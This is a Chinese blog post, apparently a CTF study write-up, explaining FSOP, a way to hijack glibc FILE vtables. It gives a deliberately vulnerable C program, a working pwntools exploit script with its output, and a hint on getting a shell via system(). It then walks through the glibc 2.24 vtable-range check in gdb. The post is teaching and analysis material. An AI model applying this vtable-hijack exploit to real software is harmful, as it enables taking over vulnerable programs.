FSOP以及glibc针对其所做的防御措施

前言

年三十晚上边看电视边搞了下pwnable.tw上一个FSOP的题目(春晚太无聊了,唯一一个有意思的开心麻花的小品我还错过了),
当时本地写好已经可以getshell的exp,跑远程失败了,返回本地再调试的时候居然失败了
当时我的心理活动大概是这样的

“诶,咋刚才可以现在不行了”
“这个fatal error是啥,刚才咋没有”
“我明明啥都没改啊”
“还是调一下吧”
“诶WOC这咋有个check”
“诶WOC为啥刚才能过?”

最后才发现重新返回本地跑exp的时候没有把libc切成题目给的libc(exp里一个./被我误删了),而是用的我本机的libc,而我本机的libc版本针对fsop做了个专门的check,
所以是跑不起来的

FSOP

What is FSOP

ROP是一种针对栈溢出的内存攻击技术,其全称是Return-oriented programming,即返回导向编程,这种攻击技术是针对函数的返回地址,篡改返回地址达到控制程序流的目的
FSOP这个名字出自HITCON CTF Qual 2016 - House of Orange Write up,
顾名思义,就是控制文件流,进而控制程序流程

FILE 结构体

一般我们对于文件是这么操作的

FILE *fp = fopen("/file/path", "w+");
fwrite("test", 1, 4, fp);
fclose(fp);

fopen()函数接收参数,然后会在堆上申请一块内存来存放FILE结构体,返回一个FILE类型的结构体指针,供fwritefclose等函数使用,
现代linux系统下,FILE结构体在glibc源码中的定义为struct _IO_FILE_plus,实际上是一个_IO_FILE结构体加上一个虚函数表,
这个虚函数表里有close,write,read等等函数,整个结构体大概长这样:

所以我们在执行fclose(fp)时,实际上执行的是fp->close()
对于FSOP的利用,我们只需要知道虚函数表的位置就行了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char deadbeef[0x400];
void pwn()
{
puts("Hello world!");
exit(0);
}
int main()
{
read(0, deadbeef, 0x400);
fclose((FILE *)deadbeef);
return 0;
}

编译下

gcc -m32 ./fsop.c -o ./fsop -no-pie

(GCC6默认开启PIE了)
IDA打开看下几个要用到的地址
pwn函数

.text:080484BB
.text:080484BB ; =============== S U B R O U T I N E =======================================
.text:080484BB
.text:080484BB ; Attributes: noreturn bp-based frame
.text:080484BB
.text:080484BB                 public pwn
.text:080484BB pwn             proc near
.text:080484BB                 push    ebp
.text:080484BC                 mov     ebp, esp
.text:080484BE                 push    ebx
.text:080484BF                 sub     esp, 4
.text:080484C2                 call    __x86_get_pc_thunk_bx
.text:080484C7                 add     ebx, 1B39h
.text:080484CD                 sub     esp, 0Ch
.text:080484D0                 lea     eax, (aHelloWorld - 804A000h)[ebx] ; "Hello world!"
.text:080484D6                 push    eax             ; s
.text:080484D7                 call    _puts
.text:080484DC                 add     esp, 10h
.text:080484DF                 sub     esp, 0Ch
.text:080484E2                 push    0               ; status
.text:080484E4                 call    _exit
.text:080484E4 pwn             endp

deadbeef的地址

.bss:0804A060                 public deadbeef
.bss:0804A060 ; FILE deadbeef
.bss:0804A060 deadbeef        FILE <?>                ; DATA XREF: main+22o
.bss:0804A060                                         ; main+36o
.bss:0804A0F4                 db    ? ;

写个py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
p = process('./fsop', env = {"LD_PRELOAD" : "./libc_32.so.6"})
fake_file_addr = 0x0804A060
pwn_addr = 0x080484BB
fake_vtable = p32(pwn_addr) * 21
fake_vtable_addr = fake_file_addr + 0x50
fake_file = '\xff' * 0x4c
payload = ''
payload += fake_file
payload += p32(fake_vtable_addr)
payload += fake_vtable
p.send(payload)
p.interactive()

这个py脚本里我把伪造的虚函数表全部填成了pwn函数的地址,把FILE结构体的其他成员全部写成了0xff,这样就可以绕过glibc的一些检查
打下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Hello world!
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code 0
[*] Got EOF while sending in interactive
root@kali:/vagrant/fsop#

成功执行pwn函数

其他

关于_IO_FILE结构体的第一个成员,我在实验的时候发现,通过fopen函数返回的fp,其第一个成员都是一个固定值,实际上该成员并没有规定一个具体数值,
就如同上一个exp,将其设置为0xffffffff也没有影响,所以如果目标是得到shell的话,完全可以将其值设为0x3b6873(字符串'sh;\x00'),然后控制虚函数表成员为system(),
就可以getshell了

glibc针对FSOP所做的patch

glibc 2.24中的check

在上一个exp里,我将环境变量的LD_PRLOAD设置为了./libc_32.so.6,这个libc是我从pwnable.tw扒拉下来的,运行一下发现版本是2.23,并没有针对FSOP做一个有效的防御,
现在把那个环境变量去掉,再运行一下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code -6
[*] Got EOF while sending in interactive

我本机的libc版本是2.24,从这个错误信息来看,因该是glibc针对劫持FILE结构体虚函数表的攻击方式做了个有效的防御,我们用gdb来调试看看,
在原先脚本发送payload之前设置一个挂起,然后用gdb attach附加到进程,在fclose下个断点

gdb-peda$ b fclose
Breakpoint 1 at 0xf76544f6 (2 locations)

单步跟踪至fclose

[-------------------------------------code-------------------------------------]
   0xf76546f0 <fclose+512>:     sub    esp,0xc
   0xf76546f3 <fclose+515>:     mov    ebx,edi
   0xf76546f5 <fclose+517>:     push   esi
=> 0xf76546f6 <fclose+518>:     call   0xf7717d40 <fclose>
   0xf76546fb <fclose+523>:     add    esp,0x10
   0xf76546fe <fclose+526>:     mov    DWORD PTR [ebp-0x1c],eax
   0xf7654701 <fclose+529>:     mov    eax,DWORD PTR [ebp-0x1c]
   0xf7654704 <fclose+532>:     lea    esp,[ebp-0xc]
Guessed arguments:
arg[0]: 0x804a060 --> 0xffffffff

步入,然后再单步跟踪至fclose+176

 [----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xf77aa000 --> 0x1b2db0
ECX: 0x8000
EDX: 0x8000
ESI: 0x804a060 --> 0xffffff7f
EDI: 0xf77aa000 --> 0x1b2db0
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0
ESP: 0xffacc8f0 --> 0x1
EIP: 0xf7717df0 (<fclose+176>:  mov    ebx,DWORD PTR [esi+0x4c])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7717de5 <fclose+165>:     je     0xf7717e6b <fclose+299>
   0xf7717deb <fclose+171>:     nop
   0xf7717dec <fclose+172>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]
   0xf7717dff <fclose+191>:     sub    edx,eax
   0xf7717e01 <fclose+193>:     mov    ecx,ebx

此时esi存放的是FILE结构体的地址,而[esi+0x4c]就是存放虚函数表地址的地方,这一步将ebx设置为了结构体中虚表地址
运行至fclose+191

 [----------------------------------registers-----------------------------------]
EAX: 0xf77a8300 --> 0x0                                                          
EBX: 0x804a0b0 --> 0x80484bb (<pwn>:    push   ebp)                              
ECX: 0x8000                                                                      
EDX: 0xf77a8ad4 --> 0x0                                                          
ESI: 0x804a060 --> 0xffffff7f                                                    
EDI: 0xf77aa000 --> 0x1b2db0                                                     
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0                            
ESP: 0xffacc8f0 --> 0x1                                                          
EIP: 0xf7717dff (<fclose+191>:  sub    edx,eax)                                  
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------] 
   0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]                  
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]                          
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]                          
=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>                    

这两步完成后,eaxedx分别被赋予了两个和edi寄存器相关的值,而x86下程序运行时,edi一般都指向libc的数据段,
gdb-pedavmmap查看内存映射,计算出这两个值和libc的偏移分别是0x1b13000x1b1ad4,用IDA打开本机的libc,看看这两个地址都是个啥

__libc_IO_vtables:001B1300 ; ===========================================================================
__libc_IO_vtables:001B1300
__libc_IO_vtables:001B1300 ; Segment type: Pure data
__libc_IO_vtables:001B1300 ; Segment permissions: Read/Write
__libc_IO_vtables:001B1300 ; Segment alignment '32byte' can not be represented in assembly
__libc_IO_vtables:001B1300 __libc_IO_vtables segment para public 'DATA' use32
__libc_IO_vtables:001B1300                 assume cs:__libc_IO_vtables
__libc_IO_vtables:001B1300                 ;org 1B1300h
__libc_IO_vtables:001B1300 unk_1B1300      db    0                 ; DATA XREF: sub_3F940+3Bo
__libc_IO_vtables:001B1300                                         ; vfprintf+172o ...
__libc_IO_vtables:001B1301                 db    0
__libc_IO_vtables:001B1302                 db    0
__libc_IO_vtables:001B1303                 db    0
__libc_IO_vtables:001B1304                 db    0
__libc_IO_vtables:001B1305                 db    0
__libc_IO_vtables:001B1306                 db    0
__libc_IO_vtables:001B1307                 db    0
__libc_IO_vtables:001B1308                 dd offset _IO_default_finish
__libc_IO_vtables:001B130C                 dd offset sub_3F940
__libc_IO_vtables:001B1310                 dd offset sub_6BA30
__libc_IO_vtables:001B1314                 dd offset _IO_default_uflow
__libc_IO_vtables:001B1318                 dd offset _IO_default_pbackfail
__libc_IO_vtables:001B131C                 dd offset _IO_default_xsputn
__libc_IO_vtables:001B1320                 dd offset _IO_default_xsgetn
__libc_IO_vtables:001B1324                 dd offset sub_6C130
__libc_IO_vtables:001B1328                 dd offset sub_6BDD0
__libc_IO_vtables:001B132C                 dd offset sub_6BCA0
__libc_IO_vtables:001B1330                 dd offset sub_6C080
__libc_IO_vtables:001B1334                 dd offset _IO_default_doallocate
__libc_IO_vtables:001B1338                 dd offset sub_6CCC0
__libc_IO_vtables:001B133C                 dd offset sub_6CCD0
__libc_IO_vtables:001B1340                 dd offset sub_6CCA0
__libc_IO_vtables:001B1344                 dd offset sub_6C080
__libc_IO_vtables:001B1348                 dd offset sub_6CCB0


__libc_IO_vtables:001B1ABC                 dd offset sub_6CCD0
__libc_IO_vtables:001B1AC0                 dd offset sub_6CCA0
__libc_IO_vtables:001B1AC4                 dd offset sub_6C080
__libc_IO_vtables:001B1AC8                 dd offset sub_6CCB0
__libc_IO_vtables:001B1ACC                 dd offset sub_6CCE0
__libc_IO_vtables:001B1AD0                 dd offset nullsub_7
__libc_IO_vtables:001B1AD0 __libc_IO_vtables ends
__libc_IO_vtables:001B1AD0

可以看出,这两个值分别指向了libc中“默认”的IO虚函数表的起始位置,再结合后面的汇编代码

=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>                  

可以确定,这段代码直接检查了当前这个FILE结构体所存放的虚函数表是不是落在了libc中“默认”的IO虚函数表的范围内,显然我们的exp过不了这个检查,
运行到跳转处查看下结果

[-------------------------------------code-------------------------------------]
   0xf7717e01 <fclose+193>:     mov    ecx,ebx
   0xf7717e03 <fclose+195>:     sub    ecx,eax
   0xf7717e05 <fclose+197>:     cmp    edx,ecx
=> 0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>
 | 0xf7717e0d <fclose+205>:     sub    esp,0x8
 | 0xf7717e10 <fclose+208>:     push   0x0
 | 0xf7717e12 <fclose+210>:     push   esi
 | 0xf7717e13 <fclose+211>:     call   DWORD PTR [ebx+0x8]
 |->   0xf7717ee0 <fclose+416>: call   0xf765ecf0
       0xf7717ee5 <fclose+421>: jmp    0xf7717e0d <fclose+205>
       0xf7717eea <fclose+426>: test   DWORD PTR [esi],0x8000
       0xf7717ef0 <fclose+432>: mov    ecx,eax
                                                                  JUMP is taken


[-------------------------------------code-------------------------------------]
   0xf7717eda <fclose+410>:     pop    ebp
   0xf7717edb <fclose+411>:     ret
   0xf7717edc <fclose+412>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717ee0 <fclose+416>:     call   0xf765ecf0
   0xf7717ee5 <fclose+421>:     jmp    0xf7717e0d <fclose+205>
   0xf7717eea <fclose+426>:     test   DWORD PTR [esi],0x8000
   0xf7717ef0 <fclose+432>:     mov    ecx,eax
   0xf7717ef2 <fclose+434>:     jne    0xf7717f1b <fclose+475>

单步运行后,标准输出输出"Fatal error",程序接收SIGABRT信号后终止运行

猜想

2.24版本的libc直接检查了FILE结构体的虚函数表,使得FSOP这种攻击方式失去了作用,但是libc中“默认”的虚函数表是处于可读写的数据段的,
如果能直接改写,是否也能起到相同的作用?不过做到这一步基本离任意内存读写也不远了,应该也犯不着这么绕

后记

这篇文章其实当时搞完那个FSOP就想写了,结果春节期间各(da)种(you)事(xi),愣是拖到现在,不过也总算是写下来了吧

参考文章:

https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

文章目录
  1. 1. 前言
  2. 2. FSOP
    1. 2.1. What is FSOP
    2. 2.2. FILE 结构体
    3. 2.3. POC
    4. 2.4. 其他
  3. 3. glibc针对FSOP所做的patch
    1. 3.1. glibc 2.24中的check
    2. 3.2. 猜想
  4. 4. 后记
|